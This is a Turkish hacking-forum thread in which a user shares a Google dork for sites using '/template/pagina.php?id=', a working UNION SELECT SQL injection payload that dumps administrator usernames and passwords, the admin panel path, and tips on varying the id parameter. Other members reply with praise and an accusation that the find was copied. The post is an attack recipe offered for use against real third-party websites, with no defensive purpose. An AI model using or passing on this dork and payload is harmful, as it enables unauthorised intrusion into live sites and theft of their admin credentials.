/template/pagina.php?id=1 sql inj.

A

axyy

Katılımcı Üye
8 May 2010
418
0
DORK:inurl:/template/pagina.php?id=1

SQL kod: -1+union+select+1,2,3,group_concat(username,0x3a,PWD),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+amministratori--

Admin panel: site.com/admin/

Açığı kendim buldum :) site maker

id=1 değerini değiştirip veya id= değer yazmadan girerseniz daha fazla sonuç alırsınız

/template/pagina.php?cat=7&id=141&lang=EN bu tarzda url görürsenizde

/template/pagina.php?cat=7&id=[sql kodu] şeklinde sonuca ulaşırsınız

Kolay gelsin
 
Son düzenleme:
P

pesimist19

Uzman üye
8 Ağu 2009
1,291
0
31
http://localhost
axyy' Alıntı:
DORK:inurl:/template/pagina.php?id=1

SQL kod: -1+union+select+1,2,3,group_concat(username,0x3a,PWD),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+amministratori--

Admin panel: site.com/admin/

Açığı kendim buldum :) site maker

id=1 değerini değiştirip veya id= değer yazmadan girerseniz daha fazla sonuç alırsınız

/template/pagina.php?cat=7&id=141&lang=EN bu tarzda url görürsenizde

/template/pagina.php?cat=7&id=[sql kodu] şeklinde sonuca ulaşırsınız

Kolay gelsin
Genişletmek için tıkla ...

tebrikler kardeşim aynen devam :)
 
T

toxic1103

Uzman üye
19 Mar 2009
1,344
0
27
zaten başka sitelerden çalarsanız hemen anlaşılıo açık.................sömrülüo...........
 
A

axyy

Katılımcı Üye
8 May 2010
418
0
toxic1103' Alıntı:
zaten başka sitelerden çalarsanız hemen anlaşılıo açık.................sömrülüo...........
Genişletmek için tıkla ...

Kendin gibi mi sandın beni
Kusura bakla bu saatten sonra level düşümem sen öle san ama

Sen git sbs ne çalış oku ondan sonra gel
 
Son düzenleme:
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.